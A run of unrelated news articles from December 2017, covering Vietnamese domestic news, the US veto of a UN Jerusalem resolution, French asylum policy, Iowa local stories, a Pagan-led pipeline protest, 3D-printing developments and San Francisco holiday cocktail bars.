Currently, the number of labourers moving among ASEAN countries is 6.5 million, of which 2.28 million are from ASEAN countries and the rest are from outside the bloc. The main destinations are Malaysia, Singapore and Thailand. Most migrant workers to these countries come from Indonesia, Myanmar and Malaysia.

Viet Nam is not yet a destination nor the starting point for qualified labourers moving in the region, Tien said.

What to do

In order to take advantage of free labour flow, the ability to speak foreign languages, professionalism and work ethics are the most important factors, said Nguyen Thu Trang, Director of Human Resources Recruitment and Consultancy of Manpower Group.

For the labourers, they need to be able to speak foreign languages, work in a team effectively, learn new skills and adapt new working environments, Trang said.

What the Government can do is to be flexible in labour training so that workers can catch up with changes and regional standards. Foreign language skills and soft skills must be improved, and the Government need to work with enterprises to make training programmes more relevant to market demands, she said. VNS
Deputy Prime Minister Vu uc am called on agencies involved in the search for martyrs remains to set forth plans to fulfill targets set for 2018. VNA/VNS Photo An ang

HA NOI  Deputy Prime Minister Vu uc am called on agencies involved in the search for martyrs remains to set forth plans to fulfill targets set for 2018.

am, also head of the National Steering Committee for Search and Collection of Martyrs Remains, said on Monday at a conference to review tasks for 2017 and define tasks for 2018 that all channels and sources of information should be used to bring fallen soldiers to their final resting places.

A database should be completed in order to find the martyrs remains accurately, he said.

He urged provinces and cities to pay attention to search and collection work.

At the conference, Deputy Prime Minister Vu uc am praised the efforts of the defence ministry, the steering committee and other concerned agencies, especially officials and soldiers directly involved in the search and collection of remains.

The pilot implementation of a search map, the collection of martyrs remains as well as the database of martyrs and martyrs graves were deployed actively this year, he said.

Lieutenant General o Can, Deputy Chairman of the General Political Department of the Viet Nam Peoples Army, also a member of the Steering Committee, said in 2017, as many as 2,368 martyrs sets of remains were found, 95 per cent of this years target.

Of the figure, 1,156 sets of remains were recovered in Viet Nam, 338 were found in Laos and the rest in Cambodia

The Ministry of Defence has handed over more than 500,000 records of martyrs to the Ministry of Information and Communications to integrate into a national database.

International co-operation in the search for and repatriation of martyrs remains continues to expand, he said.

Next year, the Steering Committee aims to complete the list of martyrs, integrate the national database of martyrs and martyrs graves and collect about 2,000 sets of remains, including about 1,200 sets in Viet Nam.

At the event, the Steering Committee also launched a website at https://thongtinlietsi.gov.vn to enhance the management of martyrs information.

The website is expected to facilitate the searching for martyrs information and the exchange of information between the Ministry of Defence and the Ministry of Labour, Invalids and Social Affairs. It also allows martyrs relatives to send requests and provide information to agencies.  VNS
HA NOI  The Asian Development Banks(ADB) Board of Directors has approved loans totaling US$299 million to help improve basic infrastructure services and promote inclusive growth in northeastern and north-central provinces of Viet Nam.

Loans of $149 million will finance the basic infrastructure development in the north-central provinces, which aims to upgrade roads, improve rural water supply as well as flood protection, irrigation and port services in the four provinces of Ha Tinh, Nghe An, Quang Binh and Quang Tri.

The project is also expected to improve the capacity of provincial governments, particularly in public assets management.

The Government will contribute $54.52 million to the project.

A $150 million loan will fund to the construction and upgradation of basic infrastructure in the northeastern provinces, which aims to improve economic connectivity and raise living standards in the four provinces of Bac Kan, Cao Bang, Ha Giang and Lang Son by enhancing basic infrastructure and services. The Government of Viet Nam will contribute $40.3 million to the project.

Specifically, the project will improve road connectivity among the provinces by upgrading about 121km of provincial and 144km of district roads, supply water to 42,300 people, and improve agriculture value chain infrastructure in Lang Son Province through farm-to-market connectivity and support for local businesses. It will also strengthen the capacity of the provincial governments in public asset management.

Viet Nam has been experiencing remarkable growth over the last few years. However, the majority of economic gains have accrued in the urban areas, with rural areas, including provinces in the northeast, lagging behind, said Eric Sidgwick, ADBs Country Director for Viet Nam.

He said the ADB was confident the project will help realise the great growth and development potential of the northeastern part of Viet Nam, particularly in trade, agriculture, and tourism.

The four northeastern provinces the project areahave significant potential to become trade hubs, given their strategic location and proximity to China, the capital Ha Noi, the Hai Phong Port, and the ADB-supported Greater Mekong Subregion North-South Economic Corridor.

However, these potentials are yet to be fully realised, with gross domestic product per capita of the four provinces in 2015 remaining at $1,160, almost half the $2,036 national average.  VNS
HA NOI  A boy went missing on Tuesday morning after a suspension bridge broke and he fell into the Truong River in the central province of Quang Nam, according to local police.

The 9-year-old boy was crossing the bridge in Phuoc Son Districts Phuoc Hiep Commune at around 6.30am, when a cable of the bridge broke and he fell into the river.

Local authorities are conducting search operations to look for the boy.

The bridge was put into operation in 2005 and had maintenance work done in mid-2017.  VNS
HCM CITY  HCM City authorities will keep a close eye on large trucks entering the downtown area until the Lunar New Year in mid-February.

The Department of Transport has issued licences allowing 294 trucks to travel downtown during peak hours.

It has provided a further 100 licences for oil tankers and more than 1,240 vehicles serving public works including important constructions like the metro and anti-flooding projects.

We have provided licences [in co-ordination] with the traffic police, Vo Khanh Hung, deputy director of the department, told the Nguoi Lao ong (Labourers) newspaper.

The registration numbers of the trucks, times and routes are written clearly on the licence, and the list is updated on the website and sent to relevant authorities every month.

Traffic police officers and transport inspectors are responsible for identifying and punishing all violations.

We are planning to increase patrolling to deal with large trucks entering downtown during peak hours and prohibited roads, Tran Quoc Khanh, head of the departments transport inspectors, said.

The traffic police always keep an eye to prevent big trucks travelling at peak hours, especially in the downtown area, to ensure traffic flow, Lieutenant Colonel Nguyen Van Binh of the city Road and Railway Police Department said.

According to authorities, there were over 1,200 violations this year and total fines of over VN1.5 billion (US$67,000) were collected.  VNS
BAC KAN  Nine female primary school students who acted abnormally last week in the northern mountainous province of Bac Kan have symptoms of dissociative disorder, said Associate Professor Tran Minh ien, deputy director of the National Pediatric Hospital.

The students of Na Ban school in Xuan Lac Commune, Cho on District were reportedly physically exhausted, fainted and aggressive.

Doctor ien said that initial check-ups conducted by the hospitals experts showed the students had symptoms of dissociative disorder (formerly known as hysteria).

The doctors will continue to conduct testing to have a final conclusion, he said.

The students are now in a stable condition and without the symptoms, but need further treatment to ensure the symptoms dont return.

Doctor Tran Thi Hong Thu, deputy director of Mai Huong Daycare Psychiatric Hospital, said that dissociative disorders usually affect adults or adolescents and not children aged seven to 10.

Those students infected with the disease might be under pressure due to their studies. Dissociative disorders are caused by trauma, strong emotional pain such as fear, anger or disappointment, she said.

Patients may develop symptoms of physical and psychological disorders, disorder of the senses and even temporary loss of consciousness, according to experts.

Associate Professor Cao Tien uc, head of Psychiatric Department of Hospital 103, told news.zing.vn that this is not a strange disease in Viet Nam, being common during war time and in high schools.

The number of the afflicted accounts for 0.3 to 0.5 per cent of the total population, he said.

Human to human spread

uc said The disorder is not an infectious disease. However, in unfavourable physical and psychological conditions, the disorder may spread within a group.

According to Lao ong (Labor) newspaper, in 2015, two students of Na Ban school showed similar symptoms.

An outbreak of mass dissociative disorder reportedly occurred at a high school of Chau uc District, Ba Ria-Vung Tau Province. Ten female students aged 16 had symptoms of dizziness, headache, breathing difficulty, convulsion, screaming and fainting after being injected with a tetanus vaccine.

Several other cases were recorded in Quang Ngai, Khanh Hoa, Binh inh, An Giang, Vinh Long, Tra Vinh provinces between 2000 and 2003.  VNS
UNITED NATIONS, United States  The US on Monday vetoed a draft UN resolution rejecting President Donald Trumps decision to recognise Jerusalem as Israels capital, after all 14 other Security Council members backed the measure.

The veto cast by US Ambassador Nikki Haley highlighted Washingtons isolation over Trumps announcement that the US embassy will be moved from Tel Aviv to Jerusalem, effectively ignoring Palestinian claims on the city.

Soon after the clash at the top UN body, the White House announced that US Vice President Mike Pence was delaying a trip to the Middle East planned for this week.

Trumps December 6 decision to recognise Jerusalem as the Israeli capital broke with international consensus, triggering protests across the Muslim world and drawing strong condemnation.

Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that voted in favour of the measure put forward by Egypt.

The draft resolution reaffirmed that Jerusalem is an issue to be resolved through negotiations and that any decisions on the status of Jerusalem have no legal effect, are null and void and must be rescinded.

The US will not be told by any country where we can put our embassy, Haley told the council after the veto.

What we witnessed here today in the Security Council is an insult. It wont be forgotten, she said, describing the measure as one more example of the UN doing more harm than good in addressing the Israeli-Palestinian conflict.

To win the 14 votes, the text was watered down with no condemnation and no specific mention of Trumps move. Instead, it expressed deep regret at recent decisions concerning the status of Jerusalem.

Resolutions presented to the council require nine votes for adoption, but the US -- along with Britain, China, France and Russia -- have the power to veto any measure.

Pence visit scrapped

Israeli Prime Minister Benjamin Netanyahu immediately thanked Haley, posting on Twitter: Truth defeated lies. Thank you, President Trump. Thank you, Nikki Haley.

The Palestinians slammed the veto as unacceptable and vowed to turn to the UN General Assembly to win adoption for the resolution that was blocked at the council. No country has veto powers in the 193-nation assembly.

Regrettably one state decided to oppose the whole world and to stand against the whole world with regard to this long-standing issue, Palestinian ambassador Riyad Mansour told the council.

The US chooses to disregard international law and ignore the international consensus.

Pences trip to Egypt and Israel was pushed back to mid-January to allow the US vice president to remain in Washington during a vote on Trumps tax bill, a White House official said.

Palestinian president Mahmud Abbas had already scrapped a meeting with Pence and his Fatah faction had called for mass protests during the visit which had been initially been scheduled for Wednesday.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

The draft resolution had included a call on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.

Going back a century

Washingtons closest allies, France and Britain, came out ahead of the vote to declare their backing for the measure, which they stressed was in line with positions enshrined in UN resolutions adopted over several decades.

Several UN resolutions call on Israel to withdraw from territory seized during the 1967 war.

The status of the city must be decided through negotiations and not by the unilateral decision of a third country that would bring us back a century, said French Ambassador Francois Delattre.

The US veto came nearly a year after the previous US administration abstained in a council vote condemning Israeli settlements, allowing that measure to pass.

Haley, who used her veto power for the first time as US ambassador, stressed that the US still supports a two-state solution if thats what the parties agree to.

The Palestinian envoy led a group of Arab ambassadors in a meeting with Miroslav Lajcak, the president of the General Assembly, to schedule a vote on the draft resolution, probably on Thursday.

Resolutions by the General Assembly are non-binding, but a strong vote in support of the resolution would carry political weight.  AFP
PARIS  France on Monday accepted a first group of 19 refugees identified in Africa under an overhauled asylum policy that will also see it expel thousands of economic migrants.

While it has drawn little public outcry in France, the policy faces stiff opposition from the left and from charities that shelter migrants, 22 of which called in an open letter for Frances rights ombudsman Jacques Toubon to intervene.

Catholic charity Caritas France and a Protestant group wrote a joint letter to President Emmanuel Macron criticising an unprecedented renunciation of (Frances) humanist values and traditions.

Djamel, a refugee from the strife-ridden Central African Republic, arrived at Pariss Charles de Gaulle airport with his wife and four children after spending four years at a camp in Chad, telling AFP: Now weve no other family. Now you are our family.

The new refugees -- also hailing from war-torn Sudan -- were brought to France from the camp in the Chadian capital NDjamena where Djamel said around 1,000 people were sheltering.

The programme, which expects to identify 3,000 African refugees by 2019, aims to prevent people from risking their lives at sea.

More than 3,000 have died attempting to cross the Mediterranean in rickety boats since Europes migrant crisis started in 2015, according to the International Organisation for Migration.

Macron said last month that while he was deeply committed to Frances tradition of welcome, his government would be inflexible in its policy of expelling those who do not qualify for asylum.

The president acknowledged that the operation was at the mercy of geo-political shifts in the Middle East and migration caused by crises linked to global warming.

His so-called migration hotspots in Chad and Niger process the asylum applications of people already recognised as refugees by the UN refugee agency UNHCR.

Both are former French colonies in the semi-desert Sahel region of Africa.

The French government has launched a parallel programme in France to distinguish between asylum seekers and those in search of a better life in Europe.

The centrist Macron -- whose staunchly anti-immigration rival for the presidency, far-right leader Marine Le Pen, won one third of the vote in May -- has touted a tough policy towards economic migrants.

He drew praise from Le Pens National Front party, which on Monday claimed a political victory in the governments focus on the major problem of immigration.  AFP
WATERLOO -- An old John Deere building near downtown has been reborn as a showcase hotel.

The new Courtyard by Marriott opened its doors Tuesday afternoon in the renovated former Tractor Works factory on the Cedar Valley TechWorks campus.

The $43 million 166-room hotel is located at 250 Westfield Ave. For decades, tractor manufacturing was concentrated there before Deere expanded to several facilities around Waterloo-Cedar Falls in the 1970s and early '80s.

Floors in the structure were raised above the original manufacturing floor to allow hotel patrons to take advantage of the picturesque views outside the now-restored windows. One floor of the building will be used by Deere as a conference and training center.

The ongoing construction -- which includes an upper-level swimming pool, large workout area and conference space -- has drawn a lot of interest from Deere retirees and their families.

"I've had people come in here and do tours who have literally brought tears to my eyes," hotel manager Kim DeGood said. "What an astonishing thing to be a part of. Especially John Deere history. To be a part of a project that means so much to other people. Not even the most talented managers and the most successful managers get to be part of a project like this."

The hotel is opening in time for Deere's 100th anniversary in Waterloo next year. The 180-year-old Moline, Ill.-based company bought the Waterloo Gasoline Engine Co., makers of the "Waterloo Boy" two cylinder tractor, on March 14, 1918, for $2.3 million. The company operated in the approximate location of the $43 million hotel.

The hotel is having a "soft" opening this week. A grand opening is planned in March, when the Blue Iguana restaurant inside the hotel is anticipated to open. An Irish pub, the Iron Horse, is expected to open in a month.

The hotel was open for business Tuesday and will host its first advance-reservation guests today. The hotel already has bookings through next November.

"This hotel will be very successful, I don't have a doubt," DeGood said.

The property's owner, Quad Cities-area developer Rodney Blackwell, and management company, Hospitality Specialists of Jacksonville, Ill., have provided "huge support," DeGood said. The company has 32 hotels and was recently involved in a similar restoration project in Grand Rapids, Mich. Ryan Cos., based in Cedar Rapids and Minneapolis, did much of the construction.

The hotel's opening was delayed a few times this year, as a result of the scope of the project and challenges encountered with the restoration, DeGood said.

"I thing between Ryan's construction and Rodney Blackwell's knowledge and Hospitality Specialists' expertise is why we're all standing here," DeGood said. "You know how they say 'it takes a village' to raise a child? It takes a village to build a hotel."

The hotel employs 52 people now and DeGood anticipates that will increase.

Robb Carter, senior director of human resources and hotel openings Hospitality Specialists, emphasized the project's significance for his company and Waterloo.

"It really is a labor of love," he said. "You can build a new hotel from the ground up, and it's beautiful and it's modern. And its drywall and sticks.

These buildings have history and character and have a life. It's challenging and much more passionate to kind breathe life back into these buildings.

Plus I think the city of Waterloo appreciates the fact that Rodney Blackwell spent the time the money the energy and effort to turn it into something like this. This is amazing.

"This is going to be an amazing complex when the development actually takes hold," next to the Tech I building on the TechWorks Campus where Greater Cedar Valley Alliance & Chamber offices are located. It is also near the Grand Crossing housing development, Winterbottom Lofts, Young Arena and Hawkeye Community college's new urban campus and adult education center.

"A hotel this size and stature in the city of Waterloo is going to change the landscape," Carter said, noting downtown Grand Rapids has seen a revitalization since Hospitality Specialists' property there opened. "I see Waterloo kind of poised to do the same thing. I think that's awesome. And the fact that we could get on the ground floor of that? To me, it's amazing. This was just a really, really exciting project."

Cary Darrah, who manages TechWorks for the Greater Cedar Valley Alliance & Chamber, said she was making a reservation for her and her husband, Cedar Falls City Council member Frank Darrah, to be among the first guests there.

"I'm really excited about it," she said. "It's a seven-year commitment coming full circle," since the hotel project first was conceived in 2010. "First it was one step forward, two steps back; then two steps forward and one step back; then just full steam ahead. It's been an interesting progression. And we couldn't find a better developer or better hotel partners."
WATERLOO  An Independence man convicted of secreting away tools at the John Deere foundry has been granted a deferred judgment.

Judge Brad Harris said the sentence, which will remove the case from Ricky Sandhagens record if he completes probation, was appropriate because of Sandhagens lack of criminal past.

This is clearly something thats out of character, Harris said.

Sandhagens attorney said his client already lost his job and lost his vested pension over the matter.

Prosecutors had asked a suspended sentence with probation that would have kept the case on his record.

Sandhagen, 55, declined to address the court during sentencing, but during trial he said he had been treated for a hoarding disorder.

Sandhagen had been working at Deere for about 10 years, and prosecutors said he had locked thousands of dollars worth of tools in a series of lockers around the building that he controlled. He was terminated in 2015 and arrested for first-degree theft months later.

The case when to trial in October 2017, and Sandhagen testified that he had pulled items from waste bins around the plant and planned to repair the tools. He said other tools were items he used.

Jurors found that Sandhagen had stolen tools, but placed the value at just over $1,000, which resulted in a verdict for second-degree theft.
CEDAR RAPIDS -- A Fayette County felon who possessed a shotgun and ammunition in a car in June 2016 has been sentenced to more than 15 years in federal prison.

Kyle D. Boleyn, 42, received the prison term after a June 29 guilty plea to being a felon in possession of a firearm and ammunition. In a plea agreement, Boleyn admitted that, on June 16, 2016, he was a passenger in a Ford Mustang that was driving the streets of Oelwein. When law enforcement officers stopped the Mustang, they found him with a shotgun and ammunition. They also found a number of materials that Boleyn intended to use to manufacture methamphetamine, including pseudoephedrine and Coleman fuel.

Boleyn already had a warrant for his arrest when he was found with the gun. He also had at least seven prior felony convictions. The convictions include convictions for delivery of methamphetamine, manufacture of methamphetamine, sexual abuse, and violation of a sex offense registry law.

Boleyn was sentenced in Cedar Rapids by U.S. District Court Judge Mark W. Bennett to to 188 months imprisonment. A special assessment of $100 was imposed. Boleyn must also serve a five-year term of supervised release after the prison term. There is no parole in the federal system.

Boleyn is being held in the U.S. Marshals custody until he can be transported to a federal prison.
WATERLOO  The Black Hawk County Veteran Affairs Commission called for the community to support veterans and their families this holiday season, and the Cedar Valley answered  in force.

We actually had more willing to adopt than families were available, said Veterans Services Officer Stacy Albus.

More than 30 veterans and members of the community gathered at the VA office Monday morning to wrap and deliver holiday gifts to more than 300 needy or elderly veterans, veteran widows and their families.

Members of area churches donated time, money and handmade scarves and quilts. Members of the Combat Veterans Motorcycle Association and AMVET Riders Chapter 49 gathered resources from the community in support of the Christmas gifts.

We received almost $8,000 in donations and are supporting over 80 veterans and their families and 260 veterans and widows in nursing homes. A lot more than last year, County Veteran Affairs Director Kevin Dill said.

They were a really big help, Albus said of volunteers and donors. Without them, obviously we couldnt do it. We had a big, big improvement this year.

The event is in its second year. Its called Christmas for a Veteran, originally dubbed Adopt a Vet.

Last year, the organization adopted about 177 veterans and widows in nursing homes and 80 veterans who have families or are single.

Adopted veterans encompass every era from World War II through Afghanistan. They include the unemployed, under-employed and those living below the poverty line or with a service-connected disability as well as homeless veterans.

Tim Houts was among about 30 volunteers who helped package gifts Monday. He donates his time because he knows what its like being away from home for the holidays.

Houts, a retired Cedar Falls elementary school teacher, served in the U.S. Navy from 1970-74, including one Christmas spent in Vietnam.

I know how important it is to have a little feeling of comfort from home, he said. I know that there are veterans suffering out there, and theyre lonely at Christmas time. Its a tough time of year.

Sandie Sheffert helped package gifts while her husband, veteran Terry Sheffert, who served in the U.S. Air Force, helped deliver the packages to homes and retirement communities.

We do all we can for them. Theyre very important to us, Sandie Sheffert said. Theyve done so much for me, theyve sacrificed so much for us.

Veterans with young children will receive a full Hy-Vee Christmas dinner Friday. Veterans whose spouses also were adopted will receive gift cards to prepare a holiday meal, including families of units that recently deployed.

Sandie Sheffert credits much of the organizations success to Dill.

He gives everything hes got to the veterans. Were very, very proud of him. This county needs him, badly. He will not turn any veteran away. Hell see them at eight oclock at night if he has to, and thats dedication, she said.

Those wishing to adopt a veteran next year, or who are or know veterans who wish to be put on the list, may call the Veteran Affairs office at 291-2512.
RICHMOND, Va.  Standing Rock and the Keystone XL pipeline have attracted most of the media attention in recent months, but there are many pipelines proposed or being built in the United States, some through sensitive wilderness areas. In Virginia, Pagans have been standing shoulder to shoulder with Native Americans and local landowners in their effort to stop the Mountain Valley and Atlantic Coastline pipelines.

These pipelines have become more urgent in northwest Virginia, where fracking wouldnt be financially worthwhile, according to Maya Sparks, an activist who has been involved in the recent efforts primarily by providing communications and esoteric support.

Pipelines do transport fracked gas, and thats what they want in Virginia.

Sparks is one of the three core planners in Earth Allies, a chapter of the Blue Ridge Environmental Defense League, along with Lady Tes and Kira Young. Leaders of that organization called upon members to get involved in the pipeline fight, and she was one of the many who answered that call. Young, who is Native American, declined to be interviewed as she was under the weather, and this reporter was unable to contact Lady Tes by press time.

The idea of casting a circle around the capitol in Richmond came from Mara Eve Robbins, another activist who is a member of BREDL. Robbins noted that she was not speaking on behalf of that organization during the interview for this article.

Its been three years, five months, and 10 days today since Ive been fighting pipelines, said Robbins, when people along the route started getting knocks on their doors from land agents.

Robbins comes by direct action through her upbringing: her grandfather had a cross burned on his lawn for integrating his Methodist church, her father organized unsuccessfully against high-tension power lines, and one of the teachers in her Quaker boarding school was arrested for protesting injustice.

Rural areas are not targeted just because of the smaller populations, Robbins said, but also because they lack the financial and educational resources to fight. Its about environmental racism, and environmental justice, she said, and taking advantage of vulnerable communities.

With magical intentions being set by forming a circle, activists such as Sparks who were unable to travel to Richmond were asked to provide remote spiritual work. Incorporating spirituality into this movement is exciting, said Sparks, a priestess of Spiral Grove, which she described as an interfaith community of nature spirituality.

Robbins counts herself among those who call themselves spiritual, but not religious. She values a deep connection with the Earth, and was inspired to suggest casting a circle to raise awareness and encourage attendance at public meetings. Shes also inspired by those at Standing Rock, who were not protestors, but protectors of the waters.

The incorporation of spiritual practices  particularly those of minority traditions  into this movement is something Sparks believes can be attributed to the water protectors at Standing Rock, who performed ceremonies of their own Native American tribes.

The drumming was one of the first things injected in this movement, she said, and since Standing Rock, weve done several drumming circles for the protection and healing of the earth.

She sees this emerging as an interfaith effort, with indigenous and Pagan practices being supported by Christians who are respectful of different spiritual approaches. Echoing the sentiments of Colorado-based activist and Druid Casey McCarthy, Sparks believes its critical to stand with Native Americans, but not attempt to speak for them. Its one of the reasons she values the contributions of Kira Young as highly as she does.

Robbins, too, values listening to those most affected. Landowners along the route have different concerns than student protestors, but that doesnt mean that they cannot work together if those concerns are all heard. Students can take risks landowners cannot, she said, and while their motivations are different, their fears about water quality are no less valid.

At Richmond, upwards of 900 people joined the circle around the capitol in advance of a public pipeline meeting. That may be, in part, because of efforts to convince people that all pipelines are the same fight; Robbins and her associates have been more than happy to help people in neighboring counties when the proposed routes have been shifted away from their own.

Referencing her own health and age, Sparks said that she is grateful to those who are able to be on the front lines for this efforts when she is herself unable.

As shes working in public relations, Sparks has concluded that theres simply not enough news coverage about pipelines and the environmental harm resulting from construction and breakages of them. She sees hope in what she calls this time of revelation in areas such as sex abuse and corrupt political leaders, and believes that soon the hidden, horrible things about the fossil fuel industry will also come under public scrutiny.

While pipelines which cross state lines fall under jurisdiction of the Federal Energy Regulatory Commission, questions of water quality can be used to at the state level to thwart construction. In Virginia, the water control board members have decided to certify both of these pipelines, but with one important difference: the Atlantic Coastline certification is conditioned upon the completion of additional environmental impact reports, while no such requirement has been imposed on the Mountain Valley plan.

Water permitting is one of the best ways to fight this on a state level, said Robbins.

While shes a pacifist, she uses terms of battle without irony, for she has recently come to recognize her role as a warrior, as well. The water focus is indicative of the fights of the future, to protect its quality. The rains which fall upon her home part of Virginia feed three major watersheds, and four major metropolitan areas in 28 counties.

Given the support for pipelines offered by Democratic governor Terry McAuliffe, Sparks called this a miracle, one which she feels is absolutely needed. Mitigation plans for erosion and sediment control, as well as for the protection of karst areas along the route, must be completed.

They were trying to push through without these plans, Sparks said, and while the project is now being called pre-certified by some, she believes that it may come to light that adequate mitigation is impossible. Its very hard to control sediment and erosion in mountaintop areas.

Sparks added, I would like to think that the prayer and ceremony and ritual and light work made the difference, that it may have opened up the minds of the people on the water board.

E

Robbins is a bit less optimistic about any certifications being denied, and is now considering this a new phase of the battle.

I am hopeful, and jaded, she said, in part because shes seen examples of corruption on all levels of government. She notes that while she was able to provide a powerful water protection proclamation, she was later asked to leave, as she detailed in this video interview:

As with every aspect of efforts to stop the use of fossil fuels, pipeline construction is supported by deep corporate pockets that fund, among other things, outrage managers who are psychologically trained to undermine the opposition. For those wishing to end this chapter of human history, a culture of cooperation, tenacity, and self-care is all they have to counter those vast financial resources. We will continue to report on these issues, particularly when Pagans and polytheists bring their own set of skills to bear.
Dec 19, 2017 | By Tess

A 61-year-old woman from Memphis, Tennessee has received a customized 3D printed knee implant to treat a bad case of osteoarthritis. The 3D printed implant was created by ConforMIS, a Massachusetts-based medical tech company.

Gail Blayde, a 61-year-old woman from Whitehaven, Memphis, had been suffering from osteoarthritis in her knees for several years. Not only was the condition painful, but it affected her mobility and forced her to change her once active lifestyle.

On a recent cruise, for instance, Blaydes knees were causing her so much pain that she was barely about to get out of bed. On a more regular basis, the ex-Fedex employee relied on pain medication, a walker, and even a wheelchair to get through each day.

The cruise was, however, the final straw, and Blayde decided to seek a more permanent solution to her condition after coming back from it. After consulting doctors, Blayde was informed that her osteoarthritis had caused the cartilage in both her knees to be completely worn down, meaning that every time she moved, the bones in her knee could rub against each other, causing painful friction.

Her doctors also informed her that knee replacement surgery was a viable treatment and suggested using ConforMIS 3D printed knee replacement process, which is proving to be advantageous over standard knee implant processes.

Dr. Peter B. Lindy with his patient Gail Blayde

The process consists of first taking a CT scan of the patients knee, hip, and ankle bones, which is then put through ConforMIS proprietary software. The software transforms the scan data into an accurate 3D model of the patients anatomy and corrects any deformities.

The 3D model is then sent to a 3D printer, which produces a wax mold of the implant. The 3D printed wax mold is then used to cast the customized knee implant from medical-grade metal.

Blayde, who is one of the first people in the Memphis-area to receive a custom 3D printed knee implant, was operated on by Dr. Peter B. Lindy, a surgeon at East Memphis Orthopedic. Dr. Lindy is also one of the first surgeons in the region to implant a 3D printed device into a patient.

3D printed knee implants offer a number of advantages over conventionally made implants. For one, 3D printing offers the ability to produce one-off customized implants, which are built for a specific patient rather than standardized. If it fits the patient better, it makes the patient more comfortable, explained Dr. Lindy.

And while standardized implants come in a range of sizes, they often do not fit the patient perfectly and can cause overhangs if they are too big or leave gaps of bone exposed if they are too small. Further, if they are not a perfect fit, there is always the risk of implanting them with a bad alignment, which can cause more pain for a patient.

Now, as 3D printing technologies become more affordable, customized 3D printed implants will gradually become more accessible. At the moment, however, Blayde is one of a small number of people who has benefited from ConforMIS 3D printed knee implants. She is already feeling the benefits.

Before [the surgeries] I didn't want to do anything but sit around the house, she said. Since having one of her knees replaced in June and having the second one done in August, Blayde is able to move freely again and does not need to rely on pain medication to get through her day.

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Dec 19, 2017 | By Benedict

U.S. Army researchers are working with the Marines to develop 3D printed drones that can be fabricated in just 24 hours. The researchers say the Marines, who expected the printing process to take days or weeks, have been universally impressed with the drones.

The United States Armed Forces, one of the largest military forces on the planet, is also one of the best places to find additive manufacturing innovation in action. From 3D printed grenade launchers to new 3D printing security techniques, youll find futuristic examples of all things 3D in the Army, Marine Corps, Navy, and even the Air Force.

At the Armys Aberdeen Proving Ground in Maryland, two branches of the Armed Forces are working together to explore the potential of two futuristic technologies. Army researchers are presenting a process for 3D printing mission-specific drones to the Marine Corps, who have reportedly embraced the project with open arms.

The 3D printed drones combine materials science, aviation technology, and software development, and were first seen in 2016 at the U.S. Army Training and Doctrine Command's annual event at Fort Benning, Georgia. Initially an Army project carried out in collaboration with Georgia Tech researchers, these 3D printed drones could soon be ready for military action.

After refining the process for 3D printing mission-specific drones using equipment like LulzBot 3D printers from Aleph Objects, the Army researchers involved in the project reached out to the Marine Corps to see if they would be interested in utilizing the printed aviation assets. Their response? Unanimously positive

We have interacted with Marines who have never touched an unmanned system before to Marines who are experts in unmanned aerial flight, said Army Research Laboratory (ARL) engineer Larry LJ R. Holmes Jr. Across the board they all seemed to be very interested in the topic of being able to manufacture a tool that they can use that [is] mission-specific.

One of the main aspects of the 3D printed drones that impressed the Marines was the quick turnaround. According to the Army researchers, several Marines expected the process to take days or even weeks, so seeing the UAV come together in just 24 hours was a big surprise.

Impressively, this process could get even faster: the researchers are planning to streamline the process based on feedback received from the consulted Marines, and plan to put together a digital catalogue of drone options from which Marines can simply pick and choose an appropriate vehicle. Aspects of the chosen drone could then be customized based on the specifics of the mission.

Things like additive manufacturing with materials, artificial intelligence and machine learning, unmanned systems technologies, these will enable us to bring together the capabilities that will allow the future Soldiers and Marines the decisive edge that they need in the battlefield, said Elias Rigas, a division chief in ARL's Vehicle Technology Directorate.

But while the Army and Marine Corps arent able to reveal exactly what these 3D printed drones will be used for, Army engineer Holmes does have an interesting theory as to why 3D printing has captured the imaginations of so many people, both within the military and elsewhere:

I think a lot of folks are interested in additive manufacturing because we've seen on sci-fi showsjust walking up to a user interface and saying, cheeseburger, and there's my cheeseburger, he said. I think that as additive manufacturing continues to grow and the technologies continue to evolve that we're going to get to a point eventually where we will be making things in a similar fashion where you will walk up to your user interface and say, unmanned aerial system, and it will make it for you.

A lot of work needs to be done before the 3D printed drones are fully ready for action, including strengthening the materials used and speeding up the printing process. But when these obstacles are overcome, Holmes sci-fi vision could become reality.

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NASA awards Tethers Unlimited massive grant for in-orbit 3D printing on FabLab

Dec.12, 2017 - In development by Tethers Unlimited since 2015, the Refabricator has made headlines repeatedly over the last 2 years, as Tethers' bid for NASA's forthcoming FabLab station. Now, the ingenious 3D printer-recycler unit is in the news again; this time, as the winner of NASA's massive prototyping grant that will catapult the Refabricator onto the ISS. More


But to really get into the, er, spirit of the holidays, you're going to need boozeplenty of in-law-erasing, shopping-pain-medicating booze. Hit up these Bay Area bars for delicious holiday-themed drinks.

Deck the Halls The extensive cocktail menu at this Christmas-themed pop-up will surely have Santa trading his ol' cuppa milk. Go for spiked classics such as egg nog shots and a cranberry martini bitter served in Christmas ornaments, as well as more complex pours like the Pumpkin Flip (Makers Mark Bourbon, ginger spice molasses, pumpkin puree, stout beer, whole egg). Arrive early for a chance at scoring the limited Gingerbread House, one of the bar's most popular cocktails that is served in, yes, an actual gingerbread house. Christmas ain't your holiday? Order up a Treif-ashioned rye, bacon, touch of house ginger molasses, orange bitters, guilt) from Dreidel Bar. It doesn't get any merrier than this, kids. // Deck the Halls pop-up will be open through Christmas Day; 1217 Sutter St. (TenderNob), deckthehallsbar.com.

Bar Agricole See on Instagram

This Christmas season, stop by this contemporary eatery's farm bar for a Brandy Milk Punch (Jamaican rum, egg, and nutmeg), tailor-made for die-hard egg nog fans, or a glass of Gluwein, a nod to the warm mulled wine that is a requisite while visiting any German Christmas market in sub-zero temps. Enjoy it here in the perfectly chilly NorCal weather, with brandy and Maraska (a cherry liqueur). // Bar Agricole, 355 11th St (SoMa), baragricole.co

Charmaine's (Noah Webb Photography) Sure, there are people who enjoy a hot cup of cocoa topped with marshmallows while bundled up by the fire. But if guzzling a properly made cocktail by a cozy fire pit with romantic rooftop views is more your speed, Charmaine's, in the Proper Hotel, is apropos for a holiday date. Order up the Mr. Jinks (Mezcal Union, Lillet Rose, Clement Creole Shrub, guava, lime, Scrappy's Hellfire bitters) or the Unsinkable Sam (Jack Daniel's rye, Campari, grapefruit, lemon, ginger beer, House lager). // Charmaine's at Proper Hotel, 1100 Market St. (SoMa), properhotel.com/charmaines
